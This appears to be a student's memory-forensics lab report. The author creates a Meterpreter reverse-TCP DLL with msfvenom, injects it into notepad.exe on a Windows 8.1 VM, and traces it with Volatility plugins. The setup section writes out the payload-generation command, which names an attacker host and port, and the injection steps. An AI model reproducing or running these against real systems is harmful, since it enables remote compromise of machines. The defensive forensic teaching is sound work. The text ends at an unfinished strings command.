

ITIS 5250
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Graduate Lab
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Overview:

For this lab, I created the test data as memory dump of the VM and transferred it to my SIFT workstation for my further analysis. I used Volatility Framework v2.6.1 throughout my analysis. My creation of test data involves the following steps:

Environment setup:

Forensic analysis will be performed on memory dump of the Virtual Machine with **Windows 8.1** operating system running. I have chosen **VMware** workstation to deploy this virtual machine because of its easy memory acquisition from saved snapshot. I have taken Windows 8.1 as target Operating system environment on which the reflective DLL is going to be loaded into arbitrary running process. I also used Kali Linux as another VM to create a DLL.

I used Metasploit framework v5.0 to create the DLL file and I copied the file to Windows 8.1 VM. The DLL will be further injected into the running process using Invoke-DllInjection.ps1 PowerShell script.

```
root@kali:~# msfvenom -p windows/meterpreter/reverse_tcp LHOST=192.168.111.131 LPORT=4444 -f dll -t malicious_dll.dll
[-] No platform was selected, choosing Msf::Module::Platform::Windows from the payload
[-] No arch selected, selecting arch: x86 from the payload
No encoder or badchars specified, outputting raw payload
Payload size: 341 bytes
Final size of dll file: 5120 bytes
```

I chose the process for injection to be **notepad.exe**. notepad is a simple text editor for Microsoft Windows. I started the **notepad** process whose PID value is **3452**.

```
PS C:\Users\TamilMathi\Downloads> ps
```

Handles	NPM(K)	PM(K)	WS(K)	VM(M)	CPU(s)	Id	ProcessName
58	4	1560	7040	73	0.19	2980	conhost
210	6	976	2636	31	0.27	364	csrss
188	9	1560	6020	156	0.34	424	csrss
228	13	4824	9640	115	0.47	1824	dllhost
192	7	2460	6496	66	0.20	2396	dllhost
204	12	47648	49724	199	0.59	696	dwm
1501	40	42452	85124	582	12.55	1224	explorer
0	0	0	8	0		0	Idle
408	16	10704	34680	224	0.47	2808	iexplore
444	22	7052	26232	188	1.19	3500	iexplore
700	10	2596	5932	61	0.69	516	lsass
160	7	2192	4448	64	0.06	2476	msdtc
418	61	191964	41360	238	9.53	1920	MsMpEng
270	10	5548	19596	142	0.44	896	notepad
83	4	1104	6940	110	0.02	3452	notepad
753	27	49624	64468	235	5.94	2964	powershell
616	30	21940	23536	157	4.67	1048	SearchIndexer
199	5	1956	4168	47	0.83	508	services
44	1	164	688	3	0.03	280	smss
344	11	2592	6080	69	0.13	1252	spoolsv
385	8	2852	7360	68	0.16	576	svchost
363	9	2504	5640	58	0.39	604	svchost
642	15	14060	14840	95	0.69	788	svchost
1407	36	21788	27736	196	7.16	828	svchost
691	14	4568	8316	101	0.38	888	svchost
342	9	11612	15812	84	4.13	924	svchost
496	19	4588	9224	105	0.39	1060	svchost
474	28	11496	12980	99	0.95	1280	svchost
249	9	1936	6436	85	0.08	1764	svchost
674	0	424	348	3	11.73	4	System
190	9	1448	5104	97	0.05	1352	taskhostex
120	7	1904	3920	51	0.05	1756	VGAAuthService
65	4	868	3160	71	0.02	768	vmacthlp
305	12	6468	12104	108	5.42	1800	vmtoolsd
318	16	11056	15960	161	4.45	2992	vmtoolsd
75	5	652	2836	60	0.11	416	wininit
151	4	944	3888	71	0.11	452	winlogon
206	8	4484	9212	67	1.30	2580	WmiPrvSE

I used PowerShell script called **Invoke-DllInjection.ps1** from [this web location](#) to inject DLL into the target process. It can also be remotely loaded without having to present in the disk.

This script takes 2 input: one for **Process ID** to inject to, another for the **DLL** to be injected. I provided notepad.exe Process ID and copied DLL file name.

```
PS C:\Users\TamilMathi\Downloads> Invoke-DllInjection

cmdlet Invoke-DllInjection at command pipeline position 1
Supply values for the following parameters:
ProcessID: 3452
Dll: C:\Users\TamilMathi\Downloads\malicious_dll.dll

Size(K) ModuleName
-----
20 malicious_dll.dll

FileName
-----
C:\Users\TamilMathi\Downloads\malicious_dll.dll
```

Once it's been successfully injected, it shows the details of the injected module with its size. Then I created a **snapshot** which will be saved as **.vmem** file. Snapshot in the VMware is the feature to make a copy of the **current state** of the machine. It's used to **restore** back to this state if the OS crashes.

Used Softwares & OS: **VMware Workstation Pro v15.1.1, Volatility Framework v2.6.1, Windows 8.1, PowerShell v4.0**

Forensic Acquisition & Exam Preparation:

My forensic acquisition began with taking the live memory from the VM. Memory dump of the live machine can be taken in many ways. Since I had my VM in VMware Workstation, I have taken **memory dump** by retrieving the **snapshot** of the machine. It is saved as Vmware Dump (.vmem). It doesn't need any further conversion of format since the .vmem file has raw memory data of the VM which can be directly analyzed with volatility.

I used **Volatility framework v2.6.1** for my further analysis. Volatility is **advanced memory forensics** tool. It's used to analyze the RAM dumped data of the machine.

I further created Forensic image of this snapshot using FTK Imager v4.1.1.

Before starting my investigation, I verified the hash using ewfverify v20140808.

Hash Details:

```
Read: 1.0 GiB (1073741824 bytes) in 10 second(s) with 102 MiB/s (107374182 bytes /second).  
MD5 hash stored in file:          77833f9b3d7104aad35d8a33cfbafa3f  
MD5 hash calculated over data:    77833f9b3d7104aad35d8a33cfbafa3f  
  
Additional hash values:  
SHA1: 75615b6572c8e194bb1ba46b808bb3961eac0e8c  
ewfverify: SUCCESS
```

Findings and Report (Forensic Analysis):

I started the analysis with acquiring the basic information of the image.

Profile Identification:

I used volatility's **imageinfo** plugin to retrieve the Operating System version. The tool tries to guess the OS. Out of the suggested profile, the **correct profile** must be **chosen** because the correct profile name must be provided to other plugins.

```
root@siftworkstation:/home/sansforensics/Desktop/grad_research# vol.py -f Windows\ 8-Snapshot2.vmem imageinfo
Volatility Foundation Volatility Framework 2.6.1
INFO : volatility.debug : Determining profile based on KDBG search...
Suggested Profile(s) : Win10x86, Win81U1x86, Win8SP0x86, Win10x86_10586, Win8SP1x86, Win10x86_10240_17770 (Instantiated with Win81U1
x86)
AS Layer1 : IA32PagedMemoryPae (Kernel AS)
AS Layer2 : FileAddressSpace (/home/sansforensics/Desktop/grad_research/Windows 8-Snapshot2.vmem)
PAE type : PAE
DTB : 0x1a8000L
KDBG : 0x817f4690L
Number of Processors : 1
Image Type (Service Pack) : 0
KPCR for CPU 0 : 0x8181f000L
KUSER_SHARED_DATA : 0xffdf0000L
Image date and time : 2020-04-23 20:12:04 UTC+0000
Image local date and time : 2020-04-23 16:12:04 -0400
```

The correct profile out of suggested ones can be selected up by checking the suggested profiles one by one with **kdbgscan** plugin.

If the correct profile is given, the **kdbgscan** output shows the **processlist** and **module list**. If not, it doesn't show the process list.

The difference can be seen below:

With correct profile:

```
root@siftworkstation:/home/sansforensics/Desktop/grad_research# vol.py -f Windows\ 8-Snapshot2.vmem --profile=Win81U1x86 kdbgscan
Volatility Foundation Volatility Framework 2.6.1
*****
Instantiating KDBG using: Kernel AS Win81U1x86 (6.3.17031 32bit)
Offset (V) : 0x817f4690
Offset (P) : 0x25f4690
KDBG owner tag check : True
Profile suggestion (KDBGHeader): Win10x86_10586
Version64 : 0x817f4dc8 (Major: 15, Minor: 9600)
Service Pack (CmNtCSDVersion) : 0
Build string (NtBuildLab) : 9600.17415.x86fre.winblue_r4.141
PsActiveProcessHead : 0x81804a58 (40 processes)
PsLoadedModuleList : 0x8180d418 (152 modules)
KernelBase : 0x8160e000 (Matches MZ: True)
Major (OptionalHeader) : 6
Minor (OptionalHeader) : 3
KPCR : 0x8181f000 (CPU 0)
```

With wrong profile:

```
root@siftworkstation:/home/sansforensics/Desktop/grad_research# vol.py -f Windows\ 8-Snapshot2.vmem --profile=WinXPSP2x86 kdbgscan
Volatility Foundation Volatility Framework 2.6.1
*****
Instantiating KDBG using: /home/sansforensics/Desktop/grad_research/Windows 8-Snapshot2.vmem WinXPSP2x86 (5.1.0 32bit)
Offset (P) : 0x25f4690
KDBG owner tag check : True
Profile suggestion (KDBGHeader): Win10x86_10586
Version64 : 0x25f4dc8 (Major: 15, Minor: 9600)
PsActiveProcessHead : 0x81804a58
PsLoadedModuleList : 0x8180d418
KernelBase : 0x8160e000
```

Next, I extracted the basic system information such as **computer name**, **systempartition**, **installdate**, **Time Zone**, etc using volatility **systeminfo** plugin.

```
root@siftworkstation: /home/sansforensics/Desktop/grad_research# vol.py -f Windows\ 8-Snapshot2.vmem --profile=Win81Ux86 systemInfo
Volatility Foundation Volatility Framework 2.6.1
Date/Time (UTC) Type Summary Source
2020-04-23 20:12:04 UTC+0000 Image: DateTime
2020-04-23 22:43:50 UTC+0000 Registry: LastWrite WIN-4L06UHACI80 ComputerName | SYSTEM\ControlSet001\Control\ComputerName\ComputerName
2020-04-23 22:45:30 UTC+0000 Registry: LastWrite Eastern Standard Time TimeZoneKeyName | SYSTEM\ControlSet001\Control\TimeZoneInformation
2020-04-23 19:46:12 Registry: LastWrite InstallDate | SOFTWARE\Microsoft\Windows NT\CurrentVersion
2020-04-23 22:45:30 UTC+0000 Registry: LastWrite 240 ActiveTimeBias | SYSTEM\ControlSet001\Control\TimeZoneInformation
2020-04-23 20:11:12 UTC+0000 Registry: LastWrite WIN-4L06UHACI80 Hostname | SYSTEM\ControlSet001\Services\Tcpip\Parameters
2020-04-23 19:51:27 UTC+0000 Registry: LastWrite None CSDVersion | SOFTWARE\Microsoft\Windows NT\CurrentVersion
2020-04-23 22:45:30 UTC+0000 Registry: LastWrite None DisableAutoDaylightTimeSet | SYSTEM\ControlSet001\Control\TimeZoneInformation
2020-04-23 19:50:06 UTC+0000 Registry: LastWrite None LastComputerName | SOFTWARE\
2020-04-23 22:45:30 UTC+0000 Registry: LastWrite \Device\HarddiskVolume1 SystemPartition | SYSTEM\Setup
2020-04-23 20:11:12 UTC+0000 Registry: LastWrite 0 StandardBias | SYSTEM\ControlSet001\Control\TimeZoneInformation
2020-04-23 19:48:24 UTC+0000 Registry: LastWrite Domain | SYSTEM\ControlSet001\Services\Tcpip\Parameters
2020-04-23 19:51:27 UTC+0000 Registry: LastWrite ShutdownTime | SYSTEM\ControlSet001\Control\Windows
2020-04-23 22:43:39 UTC+0000 Registry: LastWrite Windows 8.1 ProductName | SOFTWARE\Microsoft\Windows NT\CurrentVersion
2020-04-23 22:45:30 UTC+0000 Registry: LastWrite x86 PROCESSOR_ARCHITECTURE | SYSTEM\ControlSet001\Control\Session Manager\Environment
2020-04-23 22:45:30 UTC+0000 Registry: LastWrite 300 Bias | SYSTEM\ControlSet001\Control\TimeZoneInformation
```

Process Inspection:

The next step I performed was list the **running process** from the memory dump. Inspecting the running process gave some insight into what the process were running around what time. Using volatility **pslist** plugin, I extracted the running process from the memory.

```
-----
0x8c9fe1c0:wininit.exe 416 356 1 0 2020-04-23 19:48:38 UTC+0000
. 0x802af440:lsass.exe 516 416 6 0 2020-04-23 19:48:38 UTC+0000
. 0x802b3c80:services.exe 508 416 5 0 2020-04-23 19:48:38 UTC+0000
.. 0x99039040:svchost.exe 1280 508 23 0 2020-04-23 19:48:40 UTC+0000
.. 0x8eb06840:vmacthlp.exe 768 508 1 0 2020-04-23 19:48:39 UTC+0000
.. 0x99140040:vmtoolsd.exe 1800 508 10 0 2020-04-23 19:48:41 UTC+0000
.. 0x9ec49040:SearchIndexer. 1048 508 14 0 2020-04-23 19:48:42 UTC+0000
.. 0x8cfc2040:svchost.exe 788 508 19 0 2020-04-23 19:48:39 UTC+0000
.. 0x8ebaf040:svchost.exe 924 508 9 0 2020-04-23 19:48:39 UTC+0000
.. 0x8ebdd900:svchost.exe 1060 508 21 0 2020-04-23 19:48:40 UTC+0000
.. 0x9912a500:VGAAuthService. 1756 508 2 0 2020-04-23 19:48:41 UTC+0000
.. 0x9ed74600:msdtc.exe 2476 508 9 0 2020-04-23 19:48:47 UTC+0000
.. 0x8eb8e040:svchost.exe 828 508 55 0 2020-04-23 19:48:39 UTC+0000
... 0x99058940:taskhostex.exe 1352 828 7 0 2020-04-23 19:48:40 UTC+0000
.. 0x8eaa1200:svchost.exe 576 508 10 0 2020-04-23 19:48:39 UTC+0000
... 0x99146cc0:dllhost.exe 1824 576 5 0 2020-04-23 19:48:41 UTC+0000
... 0x9ed709c0:WmiPrvSE.exe 2580 576 9 0 2020-04-23 19:48:47 UTC+0000
.. 0x9918f040:MsMpEng.exe 1920 508 7 0 2020-04-23 19:48:41 UTC+0000
.. 0x9ec45940:svchost.exe 1764 508 9 0 2020-04-23 19:48:43 UTC+0000
.. 0x8eaa9040:svchost.exe 604 508 11 0 2020-04-23 19:48:39 UTC+0000
.. 0x99028400:spoolsv.exe 1252 508 10 0 2020-04-23 19:48:40 UTC+0000
.. 0x8eb995c0:svchost.exe 888 508 18 0 2020-04-23 19:48:39 UTC+0000
.. 0x9ed61cc0:dllhost.exe 2396 508 12 0 2020-04-23 19:48:47 UTC+0000
0x8c92f040:csrss.exe 364 356 9 0 2020-04-23 19:48:37 UTC+0000
0x8026a740:System 4 0 95 0 2020-04-23 19:48:37 UTC+0000
. 0x8b4f5c00:smss.exe 280 4 2 0 2020-04-23 19:48:37 UTC+0000
0x99022680:explorer.exe 1224 1216 51 0 2020-04-23 19:48:40 UTC+0000
. 0x9ec187c0:ieexplore.exe 3500 1224 14 0 2020-04-23 20:03:31 UTC+0000
.. 0x80270900:ieexplore.exe 2808 3500 16 0 2020-04-23 20:03:32 UTC+0000
. 0x9eda1840:notepad.exe 896 1224 5 0 2020-04-23 20:04:50 UTC+0000
. 0x990d1480:vmtoolsd.exe 2992 1224 9 0 2020-04-23 19:48:51 UTC+0000
. 0x89c6a940:powershell.exe 2964 1224 8 0 2020-04-23 19:50:43 UTC+0000
.. 0x893b6cc0:conhost.exe 2980 2964 2 0 2020-04-23 19:50:43 UTC+0000
.. 0x9ec74b40:notepad.exe 3452 2964 1 0 2020-04-23 20:07:42 UTC+0000
... 0x89c6a040:rundll32.exe 2260 3452 4 0 2020-04-23 20:08:23 UTC+0000
... 0x9ed93040:cmd.exe 2704 2260 1 0 2020-04-23 20:08:32 UTC+0000
```

It also displays the **timestamp** associated with it. These timestamps represent the time the process started. Some of them are system process and some are user process. At this point, there is no suspicious process observed.

Analyzing network connections:

Another place to look for potential artifacts during memory forensics investigation is **network connections** from the live memory. Because some network traffic data are not supposed to be stored in Disk, it remains only on the memory.

Netscan plugin from volatility allows to check for **open connection** with its corresponding process. Running it against my dumped VM memory provided me lots of connection. One of them caught my attention because it shows the connection that is about to be established to some IP address.

NOTE: **SYN** packet is the **first packet** that needs to be sent to establish the **TCP** connection.

Now, the investigation will be focused on the process that started this connection. It shows the **owner process** of this connection as **rundll32.exe**. It's a **legitimate windows** executable file used to launch a DLL file.

Note: As Dynamic Link Library (**DLL**) is **not standalone** executable, it doesn't start by itself; some other process should invoke/start its execution. It also needs memory space of some other process. it doesn't have its own memory space.

From this observation, I inferred that some DLL was the reason for the established connection, and it was started by rundll32.exe. Since DLL doesn't get any memory space for itself to run, it **must need another process space** to run.

```
root@siftworkstation:/home/sansforensics/Desktop/grad_research# vol.py -f Windows\ 8-Snapshot2.vmem --profile=Win81U1x86 netscan
Volatility Foundation Volatility Framework 2.6.1
Offset(P)      Proto  Local Address      Foreign Address     State      Pid    Owner              Created
0xea8f50       TCPv4  0.0.0.0:135        0.0.0.0:0          LISTENING  604    svchost.exe
0xeb2e30       TCPv4  0.0.0.0:135        0.0.0.0:0          LISTENING  604    svchost.exe
0xeb2e30       TCPv6  :::135            :::0               LISTENING  604    svchost.exe
0xeb90a0       TCPv4  0.0.0.0:49152      0.0.0.0:0          LISTENING  416    wininit.exe
0xeb90a0       TCPv6  :::49152          :::0               LISTENING  416    wininit.exe
0xf8d568       TCPv4  0.0.0.0:49153      0.0.0.0:0          LISTENING  788    svchost.exe
0xf95300       TCPv4  0.0.0.0:49153      0.0.0.0:0          LISTENING  788    svchost.exe
0xf95300       TCPv6  :::49153          :::0               LISTENING  788    svchost.exe
0x7a77a08      UDPv4  0.0.0.0:0         *:.*               LISTENING  1060   svchost.exe      2020-04-23 20:11:12
TC+0000
0x7a77a08      UDPv6  :::0              *:.*               LISTENING  1060   svchost.exe      2020-04-23 20:11:12
TC+0000
0x7b33510      UDPv4  0.0.0.0:512       *:.*               LISTENING  1060   svchost.exe      2020-04-23 20:11:13
TC+0000
0x7be36e0      UDPv4  192.168.111.134:512 *:.*               LISTENING  1764   svchost.exe      2020-04-23 20:11:13
TC+0000
0x7a203a0      TCPv4  0.0.0.0:49154      0.0.0.0:0          LISTENING  828    svchost.exe
0x7a220f0      TCPv4  0.0.0.0:49154      0.0.0.0:0          LISTENING  828    svchost.exe
0x7a220f0      TCPv6  :::49154          :::0               LISTENING  828    svchost.exe
0x7a3bc00      TCPv4  0.0.0.0:49155      0.0.0.0:0          LISTENING  1252   spoolsv.exe
0x7a3bc00      TCPv6  :::49155          :::0               LISTENING  1252   spoolsv.exe
0x7a845c8      TCPv4  0.0.0.0:49159      0.0.0.0:0          LISTENING  516    lsass.exe
0x7a845c8      TCPv6  :::49159          :::0               LISTENING  516    lsass.exe
0x7b771d8      TCPv4  0.0.0.0:49159      0.0.0.0:0          LISTENING  516    lsass.exe
0x7bed528      TCPv4  0.0.0.0:445        0.0.0.0:0          LISTENING  4      System
0x7bed528      TCPv6  :::445            :::0               LISTENING  4      System
0x7a6fd30      TCPv4  192.168.111.134:49174 192.168.111.131:4444 SYN_SENT         2260   rundll32.exe
0x10a622d0     UDPv6  fe80::404d:cd0c:3d7c:4a1f:5888 *:.*               LISTENING  1764   svchost.exe      2020-04-23 20:11:13
TC+0000
0x10a6e838     UDPv4  127.0.0.1:512      *:.*               LISTENING  1764   svchost.exe      2020-04-23 20:11:13
TC+0000
0x10a6e838     UDPv6  ::1:512            *:.*               LISTENING  1764   svchost.exe      2020-04-23 20:11:13
```


Inspecting loaded DLL:

Once I found out there must be some process that has this suspicious DLL, I started inspecting the loaded DLL from the process. DLLs are basically placed under “C:\Windows\system32\” location by **default** in Windows Operating system. If any DLL is loaded from outside of this location, it cannot be loaded by operating system and it needs further attention.

I used volatility to extract the list of loaded DLL and its corresponding process names.

The process specific loaded DLLs can also be retrieved by supplying the corresponding PID (**Process Identifier**) value to volatility’s **dlllist** plugin.

```
root@siftworkstation:/home/sansforensics/Desktop/grad_research# vol.py -f Windows\ 8-Snapshot2.vmem --profile=Win8SP1x86 dlllist -p 3452
Volatility Foundation Volatility Framework 2.6.1
*****
notepad.exe pid: 3452
Command line : "C:\Windows\system32\notepad.exe"

Base          Size  LoadCount LoadTime          Path
-----
0x008f0000    0x38000    0xffff 2020-04-23 20:07:42 UTC+0000 C:\Windows\system32\notepad.exe
0x77060000    0x169000    0xffff 2020-04-23 20:07:42 UTC+0000 C:\Windows\SYSTEM32\ntdll.dll
0x76210000    0x100000    0xffff 2020-04-23 20:07:42 UTC+0000 C:\Windows\system32\KERNEL32.DLL
0x74ba0000    0xd9000    0xffff 2020-04-23 20:07:42 UTC+0000 C:\Windows\system32\KERNELBASE.dll
0x76190000    0x7c000    0x6    2020-04-23 20:07:42 UTC+0000 C:\Windows\system32\ADVAPI32.dll
0x76760000    0x112000    0x6    2020-04-23 20:07:42 UTC+0000 C:\Windows\system32\GDI32.dll
0x76570000    0x155000    0x6    2020-04-23 20:07:42 UTC+0000 C:\Windows\system32\USER32.dll
0x76af0000    0xc3000    0x6    2020-04-23 20:07:42 UTC+0000 C:\Windows\system32\msvcrt.dll
0x74cb0000    0x9b000    0x6    2020-04-23 20:07:42 UTC+0000 C:\Windows\system32\COMDLG32.dll
0x74d50000    0x12ad000    0x6    2020-04-23 20:07:42 UTC+0000 C:\Windows\system32\SHELL32.dll
0x6df70000    0x65000    0x6    2020-04-23 20:07:42 UTC+0000 C:\Windows\system32\WINSPOOL.DRV
0x763a0000    0x128000    0x6    2020-04-23 20:07:42 UTC+0000 C:\Windows\system32\ole32.dll
0x764d0000    0x45000    0x6    2020-04-23 20:07:42 UTC+0000 C:\Windows\system32\SHLWAPI.dll
0x72e00000    0x206000    0x6    2020-04-23 20:07:42 UTC+0000 C:\Windows\WinSxS\x86_microsoft.windows.common-controls_6595b64144ccf1df_6.0.9
600_17415_none_a9ed7f470139b3c1\COMCTL32.dll
0x76a00000    0x95000    0x6    2020-04-23 20:07:42 UTC+0000 C:\Windows\system32\OLEAUT32.dll
0x76520000    0x41000    0x6    2020-04-23 20:07:42 UTC+0000 C:\Windows\SYSTEM32\sechost.dll
0x76d40000    0xd0000    0x6    2020-04-23 20:07:42 UTC+0000 C:\Windows\system32\RPCRT4.dll
0x76880000    0x17d000    0x6    2020-04-23 20:07:42 UTC+0000 C:\Windows\SYSTEM32\combase.dll
0x76fd0000    0x8b000    0x6    2020-04-23 20:07:42 UTC+0000 C:\Windows\system32\SHCORE.dll
0x76310000    0x26000    0x6    2020-04-23 20:07:42 UTC+0000 C:\Windows\system32\IMM32.DLL
0x76000000    0x113000    0x6    2020-04-23 20:07:42 UTC+0000 C:\Windows\system32\HSCTF.dll
0x73a30000    0x9000    0x6    2020-04-23 20:07:42 UTC+0000 C:\Windows\SYSTEM32\kernel.appcore.dll
0x74820000    0xa000    0x6    2020-04-23 20:07:42 UTC+0000 C:\Windows\system32\CRYPTBASE.dll
0x746e0000    0x54000    0xffff 2020-04-23 20:07:42 UTC+0000 C:\Windows\system32\bcryptPrimitives.dll
0x73900000    0xee000    0x6    2020-04-23 20:07:42 UTC+0000 C:\Windows\system32\uxtheme.dll
0x73100000    0x1000    0x6    2020-04-23 20:07:42 UTC+0000 C:\Windows\system32\dmgf1.dll
0x70410000    0x5000    0x6    2020-04-23 20:08:23 UTC+0000 C:\Users\TamilMathi\Downloads\malicious_dll.dll
```

On analyzing the **notepad.exe** (PID=3452), there was some DLL (**malicious_dll.dll**) loaded. It wasn't placed under “C:\Windows\system32\”. It also shows the full path where the loaded DLL resides in the disk.

As soon as the process is started, all its necessary **DLL** will be **loaded immediately** into the memory. So, both starting times should match.

Its timestamp shows that only this DLL was **loaded 1 minute later** than rest of the DLL. It's possible only if the DLL doesn't belong this process. Instead, it was **injected manually**.

```
.. 0x893b6cc0:conhost.exe          2980 2964 2 0 2020-04-23 19:50:43 UTC+0000
.. 0x9ec74b40:notepad.exe          3452 2964 1 0 2020-04-23 20:07:42 UTC+0000
... 0x89c6a040:rundll32.exe         2260 3452 4 0 2020-04-23 20:08:23 UTC+0000
.... 0x9ed93040:cmd.exe             2704 2260 1 0 2020-04-23 20:08:32 UTC+0000
```

```
root@siftworkstation:/home/sansforensics/Desktop/grad_research# vol.py -f Windows\ 8-Snapshot2.vmem --profile=Win8SP1x86 dlllist -p 3452
Volatility Foundation Volatility Framework 2.6.1
*****
notepad.exe pid: 3452
Command line : "C:\Windows\system32\notepad.exe"

Base          Size  LoadCount LoadTime          Path
-----
0x008f0000    0x38000 0xffff 2020-04-23 20:07:42 UTC+0000 C:\Windows\system32\notepad.exe
0x77060000    0x169000 0xffff 2020-04-23 20:07:42 UTC+0000 C:\Windows\SYSTEM32\ntdll.dll
0x76210000    0x100000 0xffff 2020-04-23 20:07:42 UTC+0000 C:\Windows\system32\KERNEL32.DLL
0x74ba0000    0xd9000 0xffff 2020-04-23 20:07:42 UTC+0000 C:\Windows\system32\USER32.dll
0x76190000    0x7c000 0x6 2020-04-23 20:07:42 UTC+0000 C:\Windows\system32\ADVAPI32.dll
0x76760000    0x112000 0x6 2020-04-23 20:07:42 UTC+0000 C:\Windows\system32\GDI32.dll
0x76570000    0x155000 0x6 2020-04-23 20:07:42 UTC+0000 C:\Windows\system32\USER32.dll
0x76af0000    0xc3000 0x6 2020-04-23 20:07:42 UTC+0000 C:\Windows\system32\msvcrt.dll
0x74cb0000    0x9b000 0x6 2020-04-23 20:07:42 UTC+0000 C:\Windows\system32\COMDLG32.dll
0x74d50000    0x12ad000 0x6 2020-04-23 20:07:42 UTC+0000 C:\Windows\system32\SHELL32.dll
0x6df70000    0x65000 0x6 2020-04-23 20:07:42 UTC+0000 C:\Windows\system32\WINSPOOL.DRV
0x763a0000    0x128000 0x6 2020-04-23 20:07:42 UTC+0000 C:\Windows\system32\ole32.dll
0x764d0000    0x45000 0x6 2020-04-23 20:07:42 UTC+0000 C:\Windows\system32\SHLWAPI.dll
0x72e00000    0x206000 0x6 2020-04-23 20:07:42 UTC+0000 C:\Windows\WinSxS\x86_microsoft.windows.common-controls_6595b64144ccf1df_6.0.9
600.17415_none_a9ed7f470139b3c1\COMCTL32.dll
0x76a00000    0x95000 0x6 2020-04-23 20:07:42 UTC+0000 C:\Windows\system32\OLEAUT32.dll
0x76520000    0x41000 0x6 2020-04-23 20:07:42 UTC+0000 C:\Windows\SYSTEM32\sechost.dll
0x76d40000    0xd0000 0x6 2020-04-23 20:07:42 UTC+0000 C:\Windows\system32\RPCRT4.dll
0x76880000    0x17d000 0x6 2020-04-23 20:07:42 UTC+0000 C:\Windows\SYSTEM32\combase.dll
0x76fd0000    0x8b000 0x6 2020-04-23 20:07:42 UTC+0000 C:\Windows\system32\SHCORE.dll
0x76310000    0x26000 0x6 2020-04-23 20:07:42 UTC+0000 C:\Windows\system32\IMM32.dll
0x76000000    0x113000 0x6 2020-04-23 20:07:42 UTC+0000 C:\Windows\system32\MSCTF.dll
0x73a30000    0x9000 0x6 2020-04-23 20:07:42 UTC+0000 C:\Windows\SYSTEM32\kernel.appcore.dll
0x74820000    0xa000 0x6 2020-04-23 20:07:42 UTC+0000 C:\Windows\system32\CRYPTBASE.dll
0x746e0000    0x54000 0xffff 2020-04-23 20:07:42 UTC+0000 C:\Windows\system32\bcryptPrimitives.dll
0x73900000    0xee000 0x6 2020-04-23 20:07:42 UTC+0000 C:\Windows\system32\uxtheme.dll
0x73180000    0x1a000 0x6 2020-04-23 20:07:42 UTC+0000 C:\Windows\system32\dwapi.dll
0x70410000    0x5000 0x6 2020-04-23 20:08:23 UTC+0000 C:\Users\TamilMathi\Downloads\malicious_dll.dll
```

The process started time and rest of the DLL loaded time matched precisely with each other except this malicious_dll.dll

If the DLL is remotely loaded, it will be a challenge to retrieve the DLL. But volatility offers a plugin called **dllDump** which is capable for **extracting** a DLL from a process's memory and saves it locally onto our disk.

File system analysis:

For every file present in the system, the **information** about that specific **file** is stored in special table called **Master File Table (MFT)**.

It keeps track of all information related to the file. It's a potential collection of artifacts when it comes to looking for a specific file information for investigation.

Since the file is in the disk, it should have made its entry into MFT. So, I extracted the information for a specific DLL file from MFT table using **mftparser** plugin of volatility framework.

It shows the **file creation time** along with its location.


```
root@siftworkstation:/home/sansforensics/Desktop/grad_research# vol.py -f Windows\ 8-Snapshot2.vmem --profile=Win81U1x86 mftparser
Volatility Foundation Volatility Framework 2.6.1
Scanning for MFT entries and building directory, this can take a while
*****
MFT entry found at offset 0xb408
Attribute: In Use & File
Record Number: 13551
Link count: 1

$STANDARD_INFORMATION
Creation          Modified          MFT Altered          Access Date          Type
-----
2013-08-22 08:22:08 UTC+0000 2014-11-22 01:06:05 UTC+0000 2020-04-23 23:43:10 UTC+0000 2020-04-23 23:43:10 UTC+0000 Read Only & Hidden &
System & Archive

$FILE_NAME
Creation          Modified          MFT Altered          Access Date          Name/Path
-----
2013-08-22 08:22:08 UTC+0000 2020-04-23 23:43:10 UTC+0000 2020-04-23 23:43:10 UTC+0000 2020-04-23 23:43:10 UTC+0000 bootmgr

$DATA

$OBJECT_ID
Object ID: 40000000-0000-0000-0030-000000000000
Birth Volume ID: 1a2b0600-0000-0000-1a2b-060000000000
Birth Object ID: 3163c285-1600-0000-ffff-ffff82794711
```

For every file present in the file system, it gives the details. So, the output will be large in text. I redirected the output to text file then filtered out the file information I needed.

There are three reasons to believe that this file was downloaded from Internet Explorer (IE) and saved locally onto the disk.

- The same file name existed in **Internet Explorer Appdata** folder.
- One of the entries in MFT has this file name ending with **‘. partial’**. It means, at the time of this entry into MFT, it was downloaded partially.
- The file resides in **user’s download** folder.

From this information, I can infer that this file is downloaded from the internet and injected into the notepad.exe process locally.

```
root@siftworkstation:/home/sansforensics/Desktop/grad_research# vol.py -f Windows\ 8-Snapshot2.vmem --profile=Win81U1x86 mftparser > mftparsed.txt
Volatility Foundation Volatility Framework 2.6.1
WARNING : volatility.debug : NoneObject as string: Unable to read 1 bytes from 1024
WARNING : volatility.debug : NoneObject as string: Array BirthDomainID invalid member 9
WARNING : volatility.debug : NoneObject as string: Array BirthDomainID invalid member 10
WARNING : volatility.debug : NoneObject as string: Array BirthDomainID invalid member 11
WARNING : volatility.debug : NoneObject as string: Array BirthDomainID invalid member 12

root@siftworkstation:/home/sansforensics/Desktop/grad_research# cat mftparsed.txt | grep malicious
2020-04-23 20:04:09 UTC+0000 2020-04-23 20:04:09 UTC+0000 2020-04-23 20:04:09 UTC+0000 2020-04-23 20:04:09 UTC+0000 Users\TamilMathi\DOWNLOADED\malicious_dll.dll.x7a7xcx.partial
2020-04-23 20:03:47 UTC+0000 2020-04-23 20:03:47 UTC+0000 2020-04-23 20:03:47 UTC+0000 2020-04-23 20:03:47 UTC+0000 Users\TamilMathi\AppData\Local\Microsoft\Windows\INETCA-1\Low\IE\PEMC8YU5\malicious_dll[1].dll
2020-04-23 20:04:09 UTC+0000 2020-04-23 20:04:09 UTC+0000 2020-04-23 20:04:09 UTC+0000 2020-04-23 20:04:09 UTC+0000 Users\TamilMathi\DOWNLOADED\malicious_dll.dll
```

Analyzing iexplore.exe:

To verify the above assumption, I further extracted the **memory of Internet Explorer** process(iexplore.exe). Volatility offers **memdump** plugin to extract the memory of specific process and writes it to the file.

```
root@siftworkstation:/home/sansforensics/Desktop/grad_research# vol.py -f Windows\ 8-Snapshot2.vmem --profile=Win81U1x86 memdump -p 2808 --dum
p-dir "/home/sansforensics/Desktop/grad_research/dumped_proc_mem/"
Volatility Foundation Volatility Framework 2.6.1
*****
Writing iexplore.exe [ 2808] to 2808.dmp
root@siftworkstation:/home/sansforensics/Desktop/grad_research#
```

Then, I analyzed the specific memory dumped file using **strings** command. String command **displays** the **printable strings** from a file.

On analyzing the memory of iexplore.exe, I found the request to download the suspicious DLL file(**malicious_dll.dll**) to the IP address **192.168.111.131**.

```
root@siftworkstation:/home/sansforensics/Desktop/grad_research# strings dumped_proc_mem/2808.dmp | grep -A5 -B5 malicious | grep -A5 "GET"
